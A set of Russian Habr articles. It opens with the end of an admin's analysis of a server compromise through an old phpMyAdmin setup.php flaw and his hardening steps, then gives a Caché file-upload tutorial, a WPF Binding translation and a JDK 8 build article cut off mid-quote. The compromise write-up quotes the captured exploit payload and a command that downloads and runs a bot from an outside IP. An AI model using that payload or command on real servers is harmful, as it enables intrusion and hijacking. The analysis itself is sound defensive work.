perl 31621 www-data mem REG 9,1 130114 261372 /lib/libpthread-2.7.so
perl 31621 www-data mem REG 9,1 534736 1404410 /lib/libm-2.7.so
perl 31621 www-data mem REG 9,1 14616 1404409 /lib/libdl-2.7.so
perl 31621 www-data mem REG 9,1 1499352 246277 /usr/lib/libperl.so.5.10.0
perl 31621 www-data mem REG 9,1 119288 262716 /lib/ld-2.7.so
perl 31621 www-data 0u unix 0xffff880080459200 122918994 /tmp/php.socket-1
perl 31621 www-data 1w FIFO 0,8 123556620 pipe
perl 31621 www-data 2w REG 9,1 838 979223 /var/log/lighttpd/error.log
perl 31621 www-data 3u unix 0xffff880020d31500 123039634 /tmp/php.socket-1
perl 31621 www-data 4u IPv4 123556667 TCP [мой_ip]:59216->136-126-223-81.static.edis.at:https (ESTABLISHED)`
Данный вывод меня удивил ещё больше наличием слова lighttpd (у меня на сервере 2 ip, на одном висит apache, на другом lighttpd), хотя в ps процесс представлялся апачем, а запустили его по-видимому из /tmp.
После дальнейшего раскидывания мозгами решил сделать дамп памяти данного процесса, но чтение /proc//mem не помогло. Зато помогла команда gcore (из пакет gdb) — с её помощью я смог сделать дамп памяти данного процесса на 3.2мб и стал его просматривать вручную. При просмотре удалось глазами заметить следующие текстовые фрагменты:
`@fakeps
/usr/sbin/apache2 -k start
god.txt
HTTP_HOST=[my_ip]..!.......DOCUMENT_ROOT=/var/www/.A.......SCRIPT_FILENAME=/var/www/phpmyadmin3/scripts/setup.php..A.......SCRIPT_NAME=/phpmyadmin3/scripts/setup.php..............!.......PHP_FC
GI_CHILDREN=16....1.......PATH=/sbin:/bin:/usr/sbin:/usr/bin......!.......PWD=/tmp................1.......REMOTE_ADDR=62.193.226.196..............!.......SHLVL=1.................1.......PHP_FCGI_MAX_REQUESTS=10000.............1.......OLDPWD=/
var/www/phpmyadmin3.............!......._=/usr/bin/perl`
**Ого, попался!** Перл был запущен из PHP-скрипта /var/www/phpmyadmin3/scripts/setup.php
Лезем в гугл, набираем «phpmyadmin setup.php exploit» и находим рабочий эксплоит: [www.securityfocus.com/bid/34236](http://www.securityfocus.com/bid/34236) — он был обнаружен 2009-03-24, также есть на оф.сайте phpmyadmin: [www.phpmyadmin.net/home\_page/security/PMASA-2009-3.php](http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php) и исправлен только в версиях **2.11.9.5** и **3.1.3.1**.
Данный phpmyadmin был поставлен мной довольно давно вручную, т.к. в репозитории не было 3 версии, стояла версия 3.0.0-rc2, т.е. старая, ещё с незалатанной дыркой, и потом о ней я благополучно забыл и осталась она висеть мёртвым грузом до сегодняшнего дня.
Далее, уже зная адрес php скрипта, удалось найти обращения и в логах lighttpd:
`62.193.226.196 [my_ip] - [12/Dec/2010:15:54:57 +0300] "GET /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 14083 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"
62.193.226.196 [my_ip] - [12/Dec/2010:15:54:59 +0300] "POST /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 556203 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"`
Единственное что мне непонятно — это такая разница во времени, запрос был в 15:54, а процесс появился в 23:59.
Захотелось всё же узнать что это за бот, который мне подсунули, поэтому вместо блокирования доступа к скрипту прописываем туда ловушку:
```
$loginfo['date']=date('c');
$loginfo['env']=var_export($_ENV,true);
$loginfo['get']=var_export($_GET,true);
$loginfo['post']=var_export($_POST,true);
file_put_contents('log.txt',var_export($loginfo,true),FILE_APPEND);
```
Ловушка не заставила себя долго ждать, в 22 часа следующего дня ловит снова обращение к данному скрипту, и мы уже имеем код эксплоита:
```
'post' => 'array (
\'action\' => \'lay_navigation\',
\'eoltype\' => \'unix\',
\'token\' => \'4b179cfc2f788d828bf9ff8d2f122459\',
\'configuration\' => \'a:1:{i:0;O:10:\\\\"PMA_Config\\\\":1:{s:6:\\\\"source\\\\";s:44:\\\\" ftp://web1:l33t@85.25.132.71/html/godbot.txt\\\\";}}\',
)'
```
Скачиваем данный файл через wget и видим:
```
php system("cd /tmp;killall -9 perl;wget -O god.txt 67.19.118.242/god.txt;perl god.txt;rm -f god.txt*");die;</code
```
Далее по ссылке уже получаем сам код бота (34 кбайт), кому интересно можете скачать его и посмотреть.
**Итого, мне удалось выяснить источник проникновения данного бота и получить код самого бота.** Осталось залатать дыры ;)
*Надеюсь описание моего анализа поможет другим админам в поиске и анализе всяческой нечисти на своих серверах.*
#### Как обезопаситься от подобных случаев
Самое первое что приходит в голову — надо вовремя обновляться до свежих версий. Да, в данном конкретном случае я сам виноват что не следил за версией phpmyadmin, но ведь каждого клиента на хостинге нельзя заставить постоянно обновлять свои phpmyadmin, которые они очень часто закачивают на сайте, поэтому надо учитывать что наличие старых дырявых версий скриптов неизбежно, поэтому каждый юзер с доступом к своей домашней папке уже является источником схожих проблем, т.к. бороться за чистоту и защищённость кода на каждом сайте бесполезно, нужно предпринимать глобальные меры защиты.
**Получается что каждый сервер с базовыми настройками php потенциально подвержен подобной угрозе, причём заметить что на сервере поселился такой бот практически невозможно. Поэтому я рекомендую админам заранее защитить сервер от схожих проблем и настроить мониторинг аномальной активности.**
#### Я предпринял следующие меры защиты:
1. Настройка периодического мониторинга активных соединений, с помощью этого можно сразу заметить ненормальную активность, будь то рассылка спама php-скриптом или связь бота с сервером. В данный скрипт добавил сразу команду lsof и дамп памяти этого процесса, т.к. к моменту пока я сам доберусь до сервера скрипт может уже отработать и выгрузиться.
2. Запрет в php на запуск фукнций exec, system и т.п., т.к. они требуются очень редко, поэтому большинством клиентов не используются. Идеальным вариантом было бы логгирование использование этих функций, но как его сделать я не нашёл ***(кстати, может кто подскажет как сделать?)***, полная строка в php.ini следующая:
`disable_functions = "ini_alter, curl_exec, exec, system, passthru, shell_exec, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, leak, listen, chgrp, apache_note, apache_setenv, closelog, debugger_off, debugger_on, define_sys
log_variables, openlog, syslog,ftp_exec,dl"`
**Хотелось бы услышать комментарии хабраюзеров правильно ли я выбрал способы защиты и кто как делает защиту от подобных случаев на своих серверах.**
Также у меня остались открытыми следующие вопросы:
1. Как можно узнать реальную команду запуска процесса и путь к нему, если она уже перезаписана самим процессом, не прибегая к дампу памяти и ручному просмотру кракозябр?
2. Каким образом в linux можно перехватить и просмотреть весь трафик через tcpdump или схожую утилиту от определённого процесса, зная его pid?
3. Есть ли какие-нибудь готовые решения для мониторинга нестандартной активности сервера в соединениях?
4. Можно ли как-нибудь настроить в php логгирование выполнения функций exec и подобных?
**UPD.:** Кстати, данная дыра может быть не закрыта в phpmyadmin из репозиториев, нужно внимательно смотреть доки. Дырка залатана была только в версиях **2.11.9.5** и **3.1.3.1**. Но например в Debian Lenny идёт 4:2.11.8.1-5+lenny6, а дырка закрыта отдельным патчем -http://www.debian.org/security/2009/dsa-1824
Более подробная информация об этой дырке: [www.phpmyadmin.net/home\_page/security/PMASA-2009-3.php](http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php)
**UPD2:** Можно ли как-нибудь настроить через firewall (насколько я понимаю для linux это будет iptables) ограничение доступа к сети конкретных процессов? Например, запретить всем процессам perl коннектиться наружу. В OS Android (он тоже на ядре Linux работает) есть программа DroidWall которая позволяет разрешить/запретить доступ к сети конкретным приложениям, а вот в базовой поставке Linux (например, Debian) что-то не понял можно ли такое сделать.
**UPD3:** По комментариям и письмам дополнил список функций и выкинул некоторые лишние:
`disable_functions = "apache_setenv, chown, chgrp, closelog, define_syslog_variables, dl, exec, ftp_exec, openlog, passthru, pcntl_exec, popen, posix_getegid, posix_geteuid, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_open, proc_terminate, shell_exec, syslog, system"`
**UPD4:** Ещё дополнения по просьбам зрителей:
**Скрипт проверки активных соединений:** *(писалось побыстрому на коленке только для моих личных нужд)*
```
$out=system("lsof -nP -i :80,443,25 +c 15 | grep -v -E '^(COMMAND|apache2|zabbix|smtpd?|master|scache|host|lighttpd)' | grep -v 'wget.*>[my_ip]:80'");
if(strlen($out)) {
$arr=explode("\n",$out);
foreach($arr as $str) {
echo $str."\n";
$spl=preg_split("/\s+/",$str);
echo `ps -f -p {$spl[1]}`."\n\n";
echo `lsof -p {$spl[1]}`."\n\n";
}
```
И прописываю его в cron на каждые 30 минут. Если что-то лишнее выводит он при запуске, то добавляем в список grep чтобы не мешалось. В итоге если что-то левое появляется, которое пытается либо спамить либо качать что-то, то сразу cron по почте меня уведомляет.
**UPD4:** от юзера [z123](https://habrahabr.ru/users/z123/): как узнать реальную программу, которая запустила процесс (если её подменили):
ps -p 123 -o comm
readlink /proc/123/exe (123 заменить на номер процесса)
Но, к сожалению, они не показывают параметры запуска и папку, а выводят только perl и /usr/bin/perl для этого бота, поэтому без дампа памяти пока не нашёл способ найти папку откуда полезла зараза (т.е. найти строку `/var/www/phpmyadmin3/scripts/setup.php`) | https://habr.com/ru/post/109974/ | null | ru | null |
# Реализация фоновой загрузки файлов на сервер Caché
У разработчиков веб-приложений на Caché и Ensemble часто возникает задача «file upload» — загрузки файлов с браузера. Недавно на форуме по Caché на [SQL.ru](http://www.sql.ru/forum/actualtopics.aspx?bid=56) снова возникло несколько вопросов о том, как сделать фоновую загрузку файлов. Решил описать как это можно сделать с использованием технологий CSP и ZEN.
Вариантов готовых доступных компонент, для реализации данной задачи достаточно много. Все они отличаются доступной широтой функционала, а так же поддержкой браузеров и технологий. В большинстве из них в основном используется HTML элемент `/>`. Есть такие в которых загрузка происходит с помощью Flash. С началом поддержки FileAPI из HTML5 браузерами, стало возможным найти готовые JavaScript компоненты и с поддержкой данной технологии.
Для реализации примера был выбран один из найденных на просторах интернета готовых скриптов для загрузки файлов на сервер — [FineUploader](http://fineuploader.com/). Для визуального оформления был выбран фреймворк [Bootstrap](http://twitter.github.com/bootstrap/). В выбранной мной компоненте, имеется поддержка загрузки нескольких файлов Drag-n-Drop, но отсутствует поддержка FileAPI. При загрузке нескольких файлов отображается прогресс, с отображением статуса по каждому загружаемому файлу.
Скачиваем FineUploader и Bootstrap, распаковываем в корень папки нашего CSP-приложения. К примеру для области `USER`, CSP-приложение по умолчанию будет `/csp/user`, при установке Caché по умолчанию путь будет `C:\InterSystems\Cache\CSP\user`.
**Пример реализации на CSP.**Class habr.CSPFileUpload Extends %CSP.Page
{
ClassMethod OnPage() As %Status
{
#; был передан файл, поэтому ответим браузеру, о том что приняли файл и как
if $d(%request.Data("loadFile")) {
if $lv(%loadFileSuccess),$lg(%loadFileSuccess,1) {
#; файл принят удачно, ответим об удачном приеме и отправим имя файла и его размер
w "{""success"":true,",
"""fileName"":"""\_$lg(%loadFileSuccess,2)\_""",",
"""fileSize"":"""\_$lg(%loadFileSuccess,3)\_"""}"
} else {
#; произошла ошибка при приеме файла
w "{""error"":""Error load file""}"
}
q $$$OK
}
#; HTML форма для отправки файлов
&html<
<html>
<link href="fileuploader.css" rel="stylesheet" type="text/css">
<link href="bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="bootstrap/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
<body>
<div id="thumbnail-fine-uploader" style='width:400px' >div>
<script type="text/javascript" src="jquery.js">script>
<script type="text/javascript" src="fileuploader.js">script>
<script type="text/javascript" src="bootstrap/js/bootstrap.min.js">script>
<script type="text/javascript" >
// Запустим Fine Uploader
$(document).ready(function() {
var thumbnailuploader = new qq.FileUploader({
element: $('#thumbnail-fine-uploader')[0], // наш элемент
// здесь, укажем адрес страницы загрузичика файла, в данном случае это текущий класс
action: '#(..%ClassName(1)\_".cls")#',
// Дополнительные параметры, передаваемые вместе с файлом
params: {
loadFile: 1
},
// Разрешим загрузку нескольких файлов
multiple: true,
// Допустимые типы файлов
allowedExtensions: ['jpeg', 'jpg', 'gif', 'png'],
// Ограничение размера файлов
sizeLimit: 5120000,
onComplete: function(id, fileName, responseJSON) {
if (responseJSON.success) {
// Файл успешно отправлен, добавим информацию
$('#thumbnail-fine-uploader')
.append('Loaded File: '+responseJSON.fileName+''+
' File size: '+responseJSON.fileSize+'');
}
}
});
});
script>
body>
html>>
Quit $$$OK
}
ClassMethod OnPreHTTP() As %Boolean [ ServerOnly = 1 ]
{
#; Передан файл
if $d(%request.Data("loadFile")) {
s %loadFileSuccess=0
#; поле с файлом
s FieldName="qqfile"
#; получим содержимое файла
i %request.IsDefinedMimeData(FieldName,1) {
s ContentType=%request.MimeData(FieldName,1).ContentType
s Content=%request.MimeData(FieldName,1)
} else {
s ContentType=%request.ContentType
s Content=%request.Content
}
s:FieldName'="" fileName=$g(%request.Data(FieldName,1))
#; если файл получен, и он не нулевого размера, соберем информацию по нему
i $isobject(Content),Content.Size>0 s %loadFileSuccess=$lb(1,$g(fileName),Content.Size)
q 1
}
q 1
}
}
Ниже представлен пример с использованием технологии ZEN. В примере используется только одна страница как для отображения формы загрузки файла, так и для самой загрузки файла на сервер и возврата статуса.
**Пример на ZEN**/// Created using the page template: Default
Class habr.ZENFileUpload Extends %ZEN.Component.page
{
/// Отображаемое имя для нового приложения.
Parameter PAGENAME = "Test FileUploader";
/// Стили
Parameter CSSINCLUDES As STRING = "fileuploader.css,bootstrap/css/bootstrap.min.css,bootstrap/css/bootstrap-responsive.min.css";
/// JS-файлы
Parameter JSINCLUDES As STRING = "jquery.js,fileuploader.js,bootstrap/js/bootstrap.min.js";
/// Этот XML блок описывает содержимое этой страницы.
XData Contents [ XMLNamespace = "[www.intersystems.com/zen"](http://www.intersystems.com/zen)]
{
<page xmlns="[www.intersystems.com/zen"](http://www.intersystems.com/zen)title="">
<pane id="thumbnail-fine-uploader" width="400px"/>
page>
}
/// После загрузки страницы, запустим компоненту
ClientMethod onloadHandler() [ Language = javascript ]
{
var thumbnailuploader = new qq.FileUploader({
element: $('#thumbnail-fine-uploader')[0], // наш элемент
// здесь, укажем адрес страницы загрузичика файла, в данном случае это текущий класс
action: '?',
// Дополнительные параметры, передаваемые вместе с файлом
params: {
loadFile: 1
},
// Разрешим загрузку нескольких файлов
multiple: true,
// Допустимые типы файлов
allowedExtensions: ['jpeg', 'jpg', 'gif', 'png'],
// Ограничение размера файлов
sizeLimit: 5120000,
onComplete: function(id, fileName, responseJSON) {
if (responseJSON.success) {
// Файл успешно отправлен, добавим информацию
$('#thumbnail-fine-uploader')
.append('Loaded File: '+responseJSON.fileName+''+
' File size: '+responseJSON.fileSize+'');
}
}
});
}
/// Zen page notification of an HTTP request. This method can be overwritten
/// by subclasses.
/// This is called *before* the standard Zen pre-HTTP processing occurs.
ClassMethod %OnPreHTTP() As %Boolean [ ServerOnly = 1 ]
{
#; Передан файл
if $d(%request.Data("loadFile")) {
s %loadFileSuccess=0
#; поле с файлом
s FieldName="qqfile"
#; получим содержимое файла
i %request.IsDefinedMimeData(FieldName,1) {
s ContentType=%request.MimeData(FieldName,1).ContentType
s Content=%request.MimeData(FieldName,1)
} else {
s ContentType=%request.ContentType
s Content=%request.Content
}
s:FieldName'="" fileName=$g(%request.Data(FieldName,1))
#; если файл получен, и он не нулевого размера, соберем информацию по нему
i $isobject(Content),Content.Size>0 s %loadFileSuccess=$lb(1,$g(fileName),Content.Size)
q 1
}
q 1
}
/// Для обработки загрузки файла переопределим метод рисования стрицы
Method %DrawHTMLPage()
{
#; Если была загрузка файла на сервер, вернем статус загрузки в формате JSON
if $d(%request.Data("loadFile")) {
if $lv(%loadFileSuccess),$lg(%loadFileSuccess,1) {
#; файл принят удачно, ответим об удачном приеме и отправим имя файла и его размер
w "{""success"":true,",
"""fileName"":"""\_$lg(%loadFileSuccess,2)\_""",",
"""fileSize"":"""\_$lg(%loadFileSuccess,3)\_"""}"
} else {
#; произошла ошибка при приеме файла
w "{""error"":""Error load file""}"
}
q
}
#; Иначе отрисуем страницу по умолчанию
d ##super()
}
/// Отключим вывод времени формирования страницы в конце страницы
Parameter SHOWSTATS As BOOLEAN = 0;
}
Примеры использования отлично представлены на сайте [FineUploader](http://fineuploader.com/fine-uploader-demo.html) — там есть как пример загрузки отдельного файла, так и работа с несколькими файлами, Drag & Drop, вывод прогресса загрузки.
[Исходники](https://gist.github.com/f7077e6a1c775de931b2) предложенных примеров без файлов Bootstrap и Fine Uplaoder | https://habr.com/ru/post/158681/ | null | ru | null |
# WPF Binding: Что означает {Binding}?
Этой первой статьей я бы хотел начать цикл переводов постов с замечательного [блога](http://www.beacosta.com/blog/), в котором Beatriz Costa детально объясняет определенные аспекты Binding'а в WPF. В первом посте затрагивается тема использования Binding'а без указания каких-либо дополнительных свойств.
В основном, Binding'и, которые вы видите в различных примерах, имеют определенные значения свойств Source и Path. Свойство Source определяет объект, на который направляется Binding, а свойство Path определяет свойство у объекта, значение которого вам нужно. Я видела некоторых людей, которых cбивала с толку их первая встреча с пустым Binding'ом — "{Binding}". На первый взгляд кажется, что мы не дали Binding'у нужной информации, чтобы он делал хоть что-нибудь полезное. Но это не так и я объясню почему. Если вы читали мои предыдущие посты, то вы должны понимать, что не обязательно устанавливать свойство Source у Binding'а, так как есть DataContext, объявленный где-то выше по дереву объектов. Так, когда вы хотите указать на весь объект, а не только на какое-то одно его свойство, вы должны опустить свойство Path.
Первый подход, это когда источником выступает строка и вы просто хотите указать на всю строку целиком (а, к примеру, не на ее свойство Length).
> `1. <Window.Resources>
> 2. <system:String x:Key=”helloString”>Hellosystem:String>
> 3. Window.Resources>
> 4.
> 5. <Border DataContext=”{StaticResource helloString}”>
> 6. <TextBlock TextContent=”{Binding}”/>
> 7. Border>
> \* This source code was highlighted with Source Code Highlighter.`
Другой стандартный подход, это когда вы хотите связать элемент с объектом, у которого есть несколько свойств.
> `1. <Window.Resources>
> 2. <local:GreekGod Name=”Zeus” Description=”Supreme God of the Olympians” RomanName=”Jupiter” x:Key=”zeus”/>
> 3. Window.Resources>
> 4.
> 5. <Border DataContext=”{StaticResource zeus}”>
> 6. <ContentControl Content=”{Binding}”/>
> 7. Border>
> \* This source code was highlighted with Source Code Highlighter.`
В этой ситуации, ContentControl не знает, как следует отображать данные класса GreekGod. Поэтому, вы всего лишь увидите результат вызова метода ToString(), что обычно немного не то, что нужно. Вместо этого, вы можете использовать DataTemplate, который позволяет вам определять представление ваших данных.
> `1. <Window.Resources>
> 2. <local:GreekGod Name=”Zeus” Description=”Supreme God of the Olympians” RomanName=”Jupiter” x:Key=”zeus”/>
> 3. <DataTemplate x:Key=”contentTemplate”>
> 4. <DockPanel>
> 5. <TextBlock Foreground=”RoyalBlue” TextContent=”{Binding Path=Name}” />
> 6. <TextBlock TextContent=”:” Margin=”0,0,5,0″ />
> 7. <TextBlock Foreground=”Silver” TextContent=”{Binding Path=Description}” />
> 8. DockPanel>
> 9. DataTemplate>
> 10. Window.Resources>
> 11.
> 12. <Border DataContext=”{StaticResource zeus}”>
> 13. <ContentControl Content=”{Binding}” ContentTemplate=”{StaticResource contentTemplate}”/>
> 14. Border>
> \* This source code was highlighted with Source Code Highlighter.`
Заметьте, что у Binding'а внутри DataTemplat'а не определено свойство Source. Это из-за того, что DataContext автоматически устанавливается как Source.
[Здесь](http://www.beacosta.com/Zips/2EmptyBinding.zip) вы можете найти проект для Visual Studio с кодом, который был использован в статье.
**От переводчика**:
Автор оригинальной статьи — женщина, поэтому текст перевода написан от женского лица.
Так же хотелось бы узнать, насколько интересна тема Binding'а хабролюдям, и стоит ли продолжать эту серию переводов.
Идея перевода навеяна постом [WPF Series: Intro aka Введение](http://habrahabr.ru/blogs/net/40850/). | https://habr.com/ru/post/41108/ | null | ru | null |
# О сборке JDK 8 на Ubuntu, качестве кода Hotspot и почему всё валят на C++
Хотел сегодня поспать, но опять не удалось. В Телеграме появилось сообщение, что у кого-то не собирается Java… и мы очнулись только через пару часов, уставшие и довольные.
Кому этот пост может быть полезен? Да, наверное, никому, кроме тех, кто тоже собирает JDK8 или просто любит почитать кошмарные ужасы. В общем, я вас предупредил, закрывайте статью срочно.
Проблемы три:
* Не собирается ([уровень первый](https://habr.com/company/jugru/blog/422861/#one))
Очень скучная часть, которую можно пропустить. Нужна только для тех, кто хочет полностью восстановить историю событий;
* Не собирается ([уровень второй](https://habr.com/company/jugru/blog/422861/#two))
Интересней, потому что там есть пара типичных ошибок, некромантия, некрофилия, в чём BSD лучше GNU/Linux и почему стоит переходить на новые версии JDK.
* Даже если собирается, [падает в корку](https://habr.com/company/jugru/blog/422861/#three)
Более интересно. Йахууу, JVM упала в корку, давайте пинать её ногами!
Под катом показан подробный ход решения проблем, с разными побочными мыслями о жизни.
Будет много C++, кода на Java не будет вообще. Любой джавист в конце концов начинает писать только на C++…
Не собирается
=============
Кто хоть раз собирал Java, знает, что это выглядит как-то так:
```
hg clone http://hg.openjdk.java.net/jdk8u/jdk8u
cd jdk8u
sh ./get_source.sh
sh ./configure \
--with-debug-level=fastdebug \
--with-target-bits=64 \
--with-native-debug-symbols=internal \
--with-boot-jdk=/home/me/opt/jdk1.8.0_161
make images
```
(У меня все пользователи называются просто «me», чтобы виртуалку можно было в любой момент отдать любому человеку и не создать отторжения от пользования не своим юзернеймом)
Проблема, конечно, в том, что это не работает. Причём довольно циничным образом.
Первый уровень погружения
-------------------------
Давайте попробуем запустить:
```
/home/me/git/jdk8u/hotspot/src/os/linux/vm/os_linux.inline.hpp:127:18: warning: ‘int readdir_r(DIR*, dirent*, dirent**)’ is deprecated [-Wdeprecated-declarations]
if((status = ::readdir_r(dirp, dbuf, &p)) != 0) {
^~~~~~~~~
```
Вначале, чтобы вы понимали, у меня установлено вот такое:
```
$ g++ --version
g++ (Ubuntu 7.3.0-16ubuntu3) 7.3.0
Copyright (C) 2017 Free Software Foundation, Inc.
```
Компилятор не первой свежести, не 8.2, но и этот должен бы подойти.
C++ разработчики любят тестировать софт только на той версии компилятора, что установлена у них. Обычно желание тестировать на разных платформах заканчивается где-то в районе разницы между gcc и clang в общем смысле. Поэтому вполне нормально вначале впендюрить `-Werror` («считать предупреждения ошибками») и потом писать такой код, который во всех остальных версиях будет считаться ворнингами.
Проблема это известная, и ясно, как её решать. Нужно установить свою переменную окружения CXX\_FLAGS, в которой прописать верный уровень ерроров.
```
export CXX_FLAGS=-Wno-error=deprecated-declarations -Wno-error-deprecated-declarations
```
И тут же видим чудесное:
```
Ignoring CXXFLAGS found in environment. Use --with-extra-cxxflags
```
Хорошо, система сборки, всё, что хочешь! Подменяем configure на вот такой:
```
hg clone http://hg.openjdk.java.net/jdk8u/jdk8u
cd jdk8u
sh ./configure \
--with-extra-cflags='-Wno-cpp -Wno-error=deprecated-declarations' \
--with-extra-cxxflags='-Wno-cpp -Wno-error=deprecated-declarations' \
--with-debug-level=fastdebug \
--with-target-bits=64 \
--with-native-debug-symbols=internal \
--with-boot-jdk=/home/me/opt/jdk1.8.0_161
make images
```
И ошибка остаётся той же самой!
Переходим к тяжелой артиллерии: грепу исходников.
```
grep -rl "Werror" .
```
Вываливается огромное количество всякой автосгенерированной шляпы, среди которой есть проблески осмысленных файлов:
```
./common/autoconf/flags.m4
./hotspot/make/bsd/makefiles/gcc.make
./hotspot/make/solaris/makefiles/gcc.make
./hotspot/make/aix/makefiles/xlc.make
```
Во `flags.m4` легко находим предыдущее сообщение про «Ignoring CXXFLAGS» и более матёрый захардкоженый флаг `CCXX_FLGS` (да, две буквы C), который сразу действует и вместо `CFLAGS`, и вместо `СXX_FLAGS`. Удобно! Интересно два факта:
* Этот флаг никак не передаётся через параметры configure;
* В дефолтном значении находятся осмысленные и подозрительно похожие на настоящие параметры:
```
# Setup compiler/platform specific flags to CFLAGS_JDK,
# CXXFLAGS_JDK and CCXXFLAGS_JDK (common to C and CXX?)
if test "x$TOOLCHAIN_TYPE" = xgcc; then
# these options are used for both C and C++ compiles
CCXXFLAGS_JDK="$CCXXFLAGS $CCXXFLAGS_JDK -Wall -Wno-parentheses -Wextra -Wno-unused -Wno-unused-parameter -Wformat=2 \
-pipe -D_GNU_SOURCE -D_REENTRANT -D_LARGEFILE64_SOURCE"
```
Очень мило смотрится в комментариях этот вопрос — а что, флаги общие? Правда?
Не будем играть в демократию и авторитарно захардкодим туда `-w` («не показывать никаких ошибок»):
```
CCXXFLAGS_JDK="$CCXXFLAGS $CCXXFLAGS_JDK -w -ffreestanding -fno-builtin -Wno-parentheses -Wno-unused -Wno-unused-parameter -Wformat=2 \
```
И — ура! — первую ошибку мы прошли. Она больше не репортится, и вообще всё отлично. Казалось бы.
Второй уровень погружения
-------------------------
Но теперь оно падает в куче других новых мест!
Получается, что наш `-w` работает, но пробрасывается не во все части сборки. Аккуратно вычитываем мейкфайлы и не понимаем, как именно этот параметр вообще может проброситься. Неужто о нём забыли?
Зная верный вопрос к гуглу («почему cxx не доходит до сборки?!»), быстренько попадаем на страницу бага с говорящим названием **«configure --with-extra-cxxflags doesn't affect hotspot»** ([JDK-8156967](https://bugs.openjdk.java.net/browse/JDK-8156967)).
Который обещают пофиксить в JDK 12. Может быть. Чудесно — самый важный параметр сборки не используется в сборке!
Первая идея — ну что ж, давайте засучим рукава и поправим ошибки!
Ошибка 1. xn[12]
----------------
```
dependencies.cpp: In function ‘static void Dependencies::write_dependency_to(xmlStream*, Dependencies::DepType, GrowableArray\*, Klass\*)’:
dependencies.cpp:498:6: error: ‘%d’ directive writing between 1 and 10 bytes into a region of size 9 [-Werror=format-overflow=]
void Dependencies::write\_dependency\_to(xmlStream\* xtty,
^~~~~~~~~~~~
dependencies.cpp:498:6: note: directive argument in the range [0, 2147483647]
```
Хорошо, нам, наверное, нужно увеличить регион. Сто пудов кто-то вычислил буфер нажатием кнопки «Мне Повезёт!» в гугле.
Но как бы понять, сколько надо? Ниже есть уточнение другого рода:
```
stdio2.h:34:43: note: ‘__builtin___sprintf_chk’ output between 3 and 12 bytes into a destination of size 10
__bos (__s), __fmt, __va_arg_pack ());
```
Позиция 12 выглядит как что-то стоящее, с чем теперь можно вломиться грязными ногами в исходник.
Лезем в `dependencies.cpp` и наблюдаем следующую картину:
```
DepArgument arg = args->at(j);
if (j == 1) {
if (arg.is_oop()) {
xtty->object("x", arg.oop_value());
} else {
xtty->object("x", arg.metadata_value());
}
} else {
char xn[10]; sprintf(xn, "x%d", j);
if (arg.is_oop()) {
xtty->object(xn, arg.oop_value());
} else {
xtty->object(xn, arg.metadata_value());
}
}
```
Обратите внимание на проблемную строчку:
```
char xn[10]; sprintf(xn, "x%d", j);
```
Меняем 10 на 12, пересобираем и… сборка пошла!
Но неужели я один такой умный и починил багу всех времён и народов? Не вопрос, опять вбиваем в гугл наш мегапатч: `char xn[12];`
И видим… да, всё верно. Баг [JDK-8184309](https://bugs.openjdk.java.net/browse/JDK-8184309), заревьюенный Владимиром Ивановым, содержит точно такое же исправление.
Но суть в том, что он поправлен только в JDK 10 и нифига не бэкпортирован в jdk8u. Это к вопросу о том, зачем нужны новые версии джавы.
Ошибка 2. strcmp
----------------
```
fprofiler.cpp: In member function ‘void ThreadProfiler::vm_update(TickPosition)’:
/home/me/git/jdk8ut/hotspot/src/share/vm/runtime/fprofiler.cpp:638:56: error: argument 1 null where non-null expected [-Werror=nonnull]
bool vm_match(const char* name) const { return strcmp(name, _name) == 0; }
```
Наученные предыдущим горьким опытом, сразу же идём смотреть, что в этом месте находится в JDK 11. И… этого файла там нет. Структура каталогов тоже подверглась некоторому рефакторингу.
Но от нас так просто не уйдёшь!
Любой джавист — в душе немного некромант, а может даже и некрофил. Поэтому сейчас будет НЕКРОМАНТИЯ В ДЕЙСТВИИ!
Вначале нужно воззвать к душе мёртвого и узнать, когда он умер:
```
$ hg log --template "File(s) deleted in rev {rev}: {file_dels % '\n {file}'}\n\n" -r 'removes("**/fprofiler.cpp")'
File(s) deleted in rev 47106:
hotspot/src/share/vm/runtime/fprofiler.cpp
hotspot/src/share/vm/runtime/fprofiler.hpp
hotspot/test/runtime/MinimalVM/Xprof.java
```
Теперь нужно выяснить причину его гибели:
```
hg log -r 47106
changeset: 47106:bed18a111b90
parent: 47104:6bdc0c9c44af
user: gziemski
date: Thu Aug 31 20:26:53 2017 -0500
summary: 8173715: Remove FlatProfiler
```
Итак, у нас есть убийца: **gziemski**. Давайте выясним, зачем он прибил этот несчастный файл.
Для этого надо пройти в жиру в тикет, указанный в summary коммита. Это [JDK-8173715](https://bugs.openjdk.java.net/browse/JDK-8173715):
Remove FlatProfiler:
We assume that this technology is no longer in use and is a source of root scanning for the GC.
За-ши-бись. По сути, сейчас нам предлагается починить труп просто для того, чтобы билд собрался. Который разложился настолько, что даже наши коллеги-некроманты из OpenJDK забросили.
Давайте воскресим мертвеца и попробуем расспросить его, что он запомнил последним. Он был уже мёртв в ревизии 47106, значит в ревизии на единичку меньше — это «за секунду до»:
```
hg cat "~/git/jdk11/hotspot/src/share/vm/runtime/fprofiler.cpp" -r 47105 > ~/tmp/fprofiler_new.cpp
cp ~/git/jdk8u/hotspot/src/share/vm/runtime/fprofiler.cpp ~/tmp/fprofiler_old.cpp
cd ~/tmp
diff fprofiler_old.cpp fprofiler_new.cpp
```
К сожалению, совершенно ничего, касающегося `return strcmp(name, _name) == 0;` в диффе нет. Поциент умер от удара тупым острым предметом (утилитой rm), но на момент смерти уже был неизлечимо болен.
Давайте копнем в суть ошибки.
Вот что как бы хотел сказать нам автор кода:
```
const char *name() const { return _name; }
bool is_compiled() const { return true; }
bool vm_match(const char* name) const { return strcmp(name, _name) == 0; }
```
Теперь немного философии.
Стандарт C11 в пункте 7.1.4, «Use of library functions», явным образом говорит:
> Each of the following statements applies unless explicitly stated otherwise in the detailed descriptions that follow: If an argument to a function has an invalid value (such as [...] a null pointer [...]) [...], the behavior is undefined.
